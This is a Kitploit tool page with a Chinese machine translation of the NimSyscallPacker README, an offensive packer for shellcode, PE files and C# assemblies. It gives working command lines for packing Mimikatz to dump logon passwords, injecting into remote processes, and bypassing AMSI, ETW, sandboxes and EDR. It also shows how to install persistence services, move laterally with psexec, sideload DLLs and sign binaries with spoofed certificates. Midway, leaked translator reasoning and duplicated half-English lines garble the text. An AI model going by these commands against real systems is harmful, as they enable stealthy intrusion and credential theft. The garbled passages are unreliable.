Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
NimSyscallPacker — Packs C# assemblies, PE files, or shellcode into encrypted Nim binaries with advanced evasion features including AMSI/ETW bypass, sandbox detection, and multiple injection techniques for red team operations.` → `将 C# 程序集、PE 文件或 shellcode 打包为加密的 Nim 二进制文件,并具备高级规避功能,包括 AMSI/ETW 绕过、沙箱检测以及多种注入技术,适用于红队行动。` | Kitploit
工具/GitHubGitHub/s3cur3th1ssh1t/nimsyscallpacker
权限提升Payload生成持久化机制漏洞利用横向移动Shellcode后渗透利用渗透测试红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

Packs C# assemblies, PE files, or shellcode into encrypted Nim binaries with advanced evasion features including AMSI/ETW bypass, sandbox detection, and multiple injection techniques for red team operations.` → `将 C# 程序集、PE 文件或 shellcode 打包为加密的 Nim 二进制文件,并具备高级规避功能,包括 AMSI/ETW 绕过、沙箱检测以及多种注入技术,适用于红队行动。`

二进制利用
GitHubs3cur3th1ssh1t/nimsyscallpacker

NimSyscallPacker

查看仓库
207332个月前Kitploit 审核通过
分享

NimSyscallPacker / Loader

该工具是在 x33fcon 的一次演讲后公开的。它是我 2021 至 2024 年的私人主要编码项目,目前已被视为废弃,不再维护。不要指望我这边提供错误修复或功能更新。取而代之的是,RustPack 现在作为面向经过审查的红队和渗透测试人员的商业受控版本进行维护,它功能更丰富,而且 OPSec 安全性也高得多。

此 Packer 可用于将任何 C# Assembly、PE 文件或 Shellcode 打包到 Nim 二进制文件中。它将加密目标载荷,根据给定参数生成相应的 Nim 源代码,并将其编译为 Nim 二进制文件。

设置

如果你更喜欢视频,可以在这里找到: https://youtu.be/0PwIn3Nxmgo

Windows

需要安装 Git 才能让 Nim/Nimble 正常工作。

已在 Nim 2.2.10 和 Nim Windows 下载页面链接的 MinGW-w64 GCC 11.1.0 捆绑包上测试。较新的 Nim 版本在 Windows 上默认使用较高的 PE 镜像基址,这会导致 -static 链接出现 relocation truncated to fit: R_X86_64_32S against .bss 错误;现在 packer 强制使用 -Wl,--image-base=0x10000 以保持静态构建可用,因此任何 MinGW-w64 11.x 构建都应该没问题。这里仅支持 x64 —— x86/--x86/--wow64 不受维护。

  1. 下载 Nim 和 MinGW(x86_64):
    • nim-2.2.10_x64.zip
    • mingw64.7z(从 Nim Windows 安装页面链接)
  2. 使用 7-Zip 解压 Nim(不要用 Windows 自带的 Expand-Archive —— 它会因为与 lib\system\ 目录的大小写冲突而静默丢弃 lib\system.nim)。Nim zip 附带了 bin\7zG.exe,你可以用它来解压 MinGW。
  3. 将 <nim>\bin 和 <mingw64>\bin 添加到你的 %PATH% 中。注销/登录(或重启 shell)使更改生效。
  4. 安装 nimble 依赖项: ```batch nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
    root@kitploit:~

已知可用的版本(截至 Nim 2.2.10):nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — 该仓库没有打标签的发布版本).

  1. 禁用 Windows Defender 示例提交(否则 Packer 拒绝运行): ```powershell Set-MpPreference -SubmitSamplesConsent 2
    root@kitploit:~
  2. 编译 Packer: ```batch nim c NimSyscallLoader.nim
    root@kitploit:~

如果你想在 Windows 上使用 LLVM 混淆器,请使用来自 denim 的内嵌修改版 denim。通过 denim\denim.exe setup 安装它。

Linux

例如,在 Kali / Debian 上。该打包器(packer)历史上要求 nim 1.6.8 + mingw-64 8.0.0-1;由于现在已内置静态链接 --image-base=0x10000 的变通方案,较新的工具链也应能工作。当前积极测试的是 Windows 构建——Linux 为尽力支持。```bash apt-get install nim mingw-w64 nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/

root@kitploit:~
如果 `--hellsgate` 在新版 mingw-w64 上汇编失败,请降级到 `mingw-64=8.0.0-1`。

通过 `pip3 install donut-shellcode` 安装 donut。`denim` 无法在 Unix 上使用,因此无法在此处通过 LLVM 进行混淆。Callobfuscator 也是如此。

通过 `nim c -d:noRES NimSyscallLoader.nim` 编译 Packer。即可使用。如果不使用 `-d:noRES`,可能会遇到以下错误:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.

Docker 设置

需要构建一次(第一次会花费一些时间,后续构建将被缓存)。

sudo docker build . -t nimsyscallloader

然后使用以下命令运行打包器:

sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe 其中 $(pwd) 是主机系统上与容器共享的目录,即需要加密的文件所在目录,也是输出文件保存的目录。

第三方依赖

如果你想通过 LimeLighter 使用代码签名证书,你还需要安装以下工具并将其加入 %PATH%: openssl -(适用于 Windows)例如从这里获取 osslsigncode - 例如从这里获取

第三方工具支持

我不会为这里使用的第三方工具提供支持。因此,如果你在使用这些工具时遇到问题,请在相应的仓库中提交 issue。当前使用的第三方工具:

  • Donut
  • Denim
  • LimeLighter
  • Callobfuscator
  • NimlineWhispers3
  • Koppeling

你可以使用我预编译的二进制文件,当然也可以从上面的链接自行编译。

用法

如果你更喜欢视频,可以在这里找到: https://youtu.be/UHaIgdzqHDA

我还应要求为部分功能添加了短视频:

Caro-Kann:

https://youtu.be/etAFZrIyb44

ThreadlessInject 功能:

https://youtu.be/eRS-4AywrHI

Module Stomping 功能:

https://youtu.be/l-TmqqQ49UI

shellcodeURL 功能:

https://youtu.be/OYxcL4D7K0c

stegoFile 功能:

https://youtu.be/Vr58_R4rYDA

shellcodeFile 功能:

https://youtu.be/Oj55uilxEF4

Ruy Lopez(适用于本地进程)

https://youtu.be/8fBkRo1zlIM

Shellcode 输出格式

https://youtu.be/ZTiZA2fg3WM

Assembly 输出功能

https://youtu.be/TDEJ-U18UIk

我还制作了一个公开视频,展示了如何将 ThreadlessInject 技术自定义应用到除默认进程之外的其他进程:

https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2

Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version

Options:

[general]

-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded

[Payload retrieval options]

By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from

[DLL options]

--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable

[evasion]

--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)

[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]

--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique

[shellcode specific]

--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.

[PE Packing]

--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE

[C# assembly Packing]

--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace

root@kitploit:~
默认情况下,Packer 会对每个 Payload 使用沙盒逃逸(SandBox Evasion)和反调试(AntiDebug)功能。如果你不希望启用这些功能(例如,为了移除它们的 IoC),或出于任何其他原因,可以使用 `--noAntidebug` 或 `--noDefaultSandBox` 标志。选项中的其他所有沙盒检查都将在现有检查的基础上添加,而不是替代它们。

所有 Payload 默认在 `RX` 内存区域中执行。某些 Payload 仅靠 `READ_EXECUTE` 无法正常工作。要改用 `RWX`,可以使用 `--RWX` 标志启用。

另外,默认情况下,Payload 会以加密数组的形式嵌入生成的二进制文件中。这会导致高熵,也可能因此被某些杀毒软件/EDR 厂商检测到。我建议改用 `--shellcodeFile` 或 `--shellcodeURL`,在运行时从另一个文件或 Web 服务器获取 Payload。这也会带来沙盒逃逸的副作用。例如,当使用:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
如果你不赶时间,我还可以建议为任何 Payload 使用选项 `--sleep numberOfSeconds` 和/或 `--sleep-in-between numberOfSeconds`,因为这将导致内存扫描和/或基于行为的检测绕过。

例如,要在执行前进行 unhooking(取消挂钩)且不绕过 AMSI 的情况下打包 Mimikatz,请使用以下命令:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject

你们中有些人在使用打包器加载 Mimikatz 时遇到了问题,通过 --file=Mimikatz --peload 参数,以便之后在运行时发出自定义命令。

我找到了这种行为的原因。别问我为什么,你不能直接使用 Github 上的发布版本,而必须自己编译 Mimikatz(或构建自定义版本)并加载它,而不是官方发布版。另外,对 Mimikatz 使用 --noAntidebug,否则会出现奇怪的结果(别问我为什么,其他 PE 都能正常加载)。

如果你仍然想嵌入来自 github 的发布版本,你可以直接传递这样的参数:```batch Packedmimikatz.exe coffee exit

root@kitploit:~
您还可以为 `--peload`、`--csharp` 或 `--peinject` 有效负载硬编码参数,例如,以下内容会将命令行参数修补为 `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug

Donut shellcode 会被某些 AV/EDR 供应商检测到。作为 PE-Loading 的替代方案,我修改了我的 Nim-RunPE,使其使用 Syscall 进行 PE-Loading,并将其集成到此处:

例如,要打包 Mimikatz 并通过 syscall PE-Loader 加载它,请使用以下命令:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)

root@kitploit:~
为本地注入打包 Shellcode:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI

要将 shellcode 加载到远程进程中:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe

root@kitploit:~
要加载 C# 程序集:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp

要使用参数加载 C# 程序集:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'

root@kitploit:~
要加载 C# 程序集并使用 hellsgate 进行 Syscall 检索 :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate

打包 Shellcode 以进行本地注入 + hellsgate 使用 + 自删除 + 沙箱检测:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace

root@kitploit:~
要添加数千个英语单词以绕过"机器学习"检测:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words

要使用带/不带 jumper_randomized 技术的 Syswhispers3:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump

root@kitploit:~
要在加密前使用 sgn 对 shellcode 进行编码:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn

要生成一个自定义进程,之后注入其中,并修补远程进程中的 AMSI/ETW:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW

root@kitploit:~
要生成 DLL 而不是可执行文件,只需添加 `--dll` 参数。你还可以通过 `--dllexportfunc Export1,ExportFunc2` 定义自定义导出函数。这些自定义导出还可用于 DLL 侧载。

LLVM 描述取自 [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2)——我自己还没有测试过!

**可选:** 要使用 [Obfuscator-LLVM](https://github.com/heroims/obfuscator) 标志,你必须在系统中同时安装它和 [wclang](https://github.com/tpoechtrager/wclang)。我发现这有点麻烦,但只要稍加坚持你应该能做到。以下是在我的 Kali Linux 系统上可行的快速步骤:
1. 克隆所需版本的 Obfuscator-LLVM 并构建它
2. 编译完成后,备份现有的 clang 版本,并将新的 Obfuscator-LLVM 版本的 clang 移动到 /usr/bin/
3. 安装 wclang 并将其二进制文件添加到你的 PATH
4. 备份现有的 clang 库文件,将新构建的 Obfuscator-LLVM 库包含文件复制到 /usr/lib/clang/OLD_VERSION/

此外,你必须在你的 `nim.cfg` 文件中添加以下行,以将 nim 指向你的 wclang 二进制文件:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"

服务二进制文件

服务二进制文件不能即时运行。它们只能用于 Windows 服务。因此,如果你使用 --service 编译服务二进制文件,你需要使用该二进制文件的位置创建一个新服务。例如,可以通过以下方式完成:```batch sc.exe create Updater binpath="C:\windows\system32\service.exe" sc.exe start Updater

root@kitploit:~
Packer 二进制文件也可以用于 impacket-psexec 横向移动:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement

服务DLL需要额外配置。你可以阅读以下博客,并且需要进行一些注册表更改:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f

root@kitploit:~
此外,`Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` 值也需要调整,使其同时包含你的服务名称。

如果你在服务启动时收到 ERROR 1053,很可能是因为你忘记了最后一项条目。

### 使用 Packer 处理 Golang 二进制文件

遗憾的是,我自定义的 `Nim-RUNPE` 实现目前无法处理 GoLang 二进制文件。这是 Nim 里的一个奇怪 bug,以后得找时间深入调查。绝对是个兔子洞,已经花了很多时间。

目前作为临时解决方案,你可以使用 `--peinject --large` 从 golang 二进制文件生成 shellcode,然后将其作为本地可执行文件或 DLL 执行。

示例:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe

or

NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll

你 have to 传递硬编码参数 when using a DLL? Wait, we should translate full sentence. Let's write:

"使用 DLL 时,你 have to 传递硬编码参数,因为 PEInject DLL 不接受来自目标主机的参数。远程注入也是可能的,但此处无法硬编码参数。"

"Defender 目前会检测 Golang Packed 二进制文件,我相当确定这是因为极高的熵(负载很大,因此二进制文件中包含 95% 或更多的加密内容)。要避免这些检测,请使用 DLL 或带任意值的 --pump。"

"### DLL-Sideloading" -> "### DLL 侧加载"

"You can generate DLL-Sideloading capable Payloads with the flag --clone DLLName." -> "你可以使用 --clone DLLName 标志生成支持 DLL 侧加载的 Payload。"

"For example the following would generate a version.dll with the API Exports of the original Windows version.dll:" -> "例如,以下命令将生成一个 version.dll,其中包含原始 Windows version.dll 的 API 导出:"

Now, need to preserve the exact Markdown structure. The heading has "### " and then text. We'll keep that.

Let's double-check if any code blocks are open? The text ends with a colon, and the next chunk likely contains a code block. Our chunk ends with a colon, so it's fine.

Now output raw.使用 DLL 时,你 have to 传递硬编码参数,因为 PEInject DLL 不接受来自目标主机的参数。远程注入也是可能的,但此处无法硬编码参数。

Defender 目前会检测 Golang Packed 二进制文件,我相当确定这是因为极高的熵(负载很大,因此二进制文件中包含 95% 或更多的加密内容)。要避免这些检测,请使用 DLL 或带任意值的 --pump。

DLL 侧加载

你可以使用 --clone DLLName 标志生成支持 DLL 侧加载的 Payload。

例如,以下命令将生成一个 version.dll,其中包含原始 Windows version.dll 的 API 导出:```batch NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll

root@kitploit:~
这可能可用于各种合法的已签名二进制文件进行侧加载(Sideloading),例如 `OneDriveUpdater.exe`、`slllauncher.exe` 等等。有几点需要重点注意,您应自行留意:

* 使用带有 `Exitfunction=Process` 的 Shellcode 很可能会导致宿主二进制文件崩溃
* 使用本地注入会导致二进制文件无法启动,因为 DLL 对于 C2 Payload 不会完成执行流程
* 目前 C# payload 与 Nim Sideloading 存在一个 bug 或问题。这些 payload 在本地运行时根本不会被执行(`--csharp` 或 `--peinject`),有待调查
* 我不建议将 Nim DLL Sideloading Payload 与 Teams.exe 一起使用——这里曾出现某些 DLL 的奇怪行为,且许多情况下 Teams 无法再启动。同时它现在已被许多 EDR 厂商检测
* 使用前务必测试您的 payload。

花点时间搜索自定义的 Sideloading 二进制文件,或使用来自诸如 [https://hijacklibs.net/](https://hijacklibs.net/) 等位置的已知文档化二进制文件。

### 自定义图标或元数据

如果您想为加载器可执行文件使用自定义图标或自定义元数据,应更改 resources 文件夹中的 `cmd.rc` 文件。

该文件可以通过 `windres cmd.rc -o cmd.o` 编译为 `cmd.o` 文件。您也可以直接替换 `demo.ico` 文件为任何您想使用的其他 ICON 文件。

对于 DLL 元数据,您可以更改 `DLL.rc`。

### 其他熵检测或替代沙箱规避方法

一些厂商(如 ESET)会将二进制文件/DLL 标记为恶意,因为加密的 Payload 以高熵 blob 形式存在于二进制文件中。这类检测和/或沙箱检查可以通过 `--shellcodeFile` 或 `--shellcodeURL` 标志绕过,因为此时 Payload 不再嵌入最终二进制文件,而是从单独的文件或远程 Web 服务器加载。

### ThreadlessInject - 需要注意的事项

如果您想使用 ThreadlessInject,您应该知道自己在做什么。由于它是在远程进程中挂钩 API,这种技术需要针对每个不同的远程进程进行调整。您首先需要知道远程进程通常会定期调用哪些 API,才能确定要挂钩什么。例如,您可以通过 [API Monitor](http://www.rohitab.com/apimonitor) 监控常见 Windows 进程的行为。请根据目标进程调整挂钩,否则 Payload 不会执行。

默认值仅适用于内置的 spawn/inject `rundll32.exe` 目标,因为该进程会定期调用来自 `ntdll.dll` 的 `NtWaitForMultipleObjects`。其他进程也会调用此函数,但这里的建议是根据您的目标进程调整选项。

### Module Stomping - 需要注意的事项

Module Stomping 的优势在于我们不再需要为 shellcode 注入分配内存,因为我们会覆盖已加载 DLL 的 `.text` 段(的一部分)。如果远程目标进程中尚未加载该 DLL,则会被强制加载——通过创建远程线程调用 `LoadLibrary`,或在使用 ThreadlessInject 时通过指向自定义 LoadLibrary-Shellcode 的挂钩。默认情况下,用于 Stomping 的 DLL 是 `chakra.dll`,由于它的体积,在大多数情况下都很合适。不过,您可以通过 Packer 参数随意更改 DLL。

为避免 CFG,当前实现会覆盖一个(或启用 Caro-Kann 时两个)DLL 入口点:

- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`

如果您更换 DLL,也需要更改目标函数名称,因为它们在其他 DLL 上可能不存在。此外,如果出现以下情况之一,可能会出现问题:
1. 目标 DLL 的 `.text` 段没有足够空间容纳您的 Shellcode
2. `.text` 段中两个函数之间的空间不足,导致第一个函数被第二个函数覆盖

我的代码没有处理这些情况,目前也不会检查它们。因此在生产环境中使用之前,您应当检查大小和偏移量以确保安全。

另外,对某些人来说这可能是显而易见的,但服务器与客户端使用的 DLL 不同。因此,当目标是服务器时,需要调整 Loader/工具。

这种 Module Stomping 实现也**不会**通过 `LoadLibraryEx` 配合 `DONT_RESOLVE_DLL_REFERENCES` 来加载 DLL。这样做的方式更不稳定,但我仍然以此方式实现,以消除 EDR 针对此 API 用法的特定 IoC 检测。
更多信息请阅读这篇博客文章:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)

### 内存加密

目前,Packer 内置了两种内存加密技术:`--fluctuate` 对应 ShellcodeFluctuation,`--sleepycrypt` 对应 SleepyCrypt。

ShellcodeFluctuation 目前只能用于使用 Win32 Sleep 的 C2 Payload,因为它会挂钩该函数。在这种情况下,每当植入体(implant)休眠时,只有 Shellcode 会在堆栈中被加密。

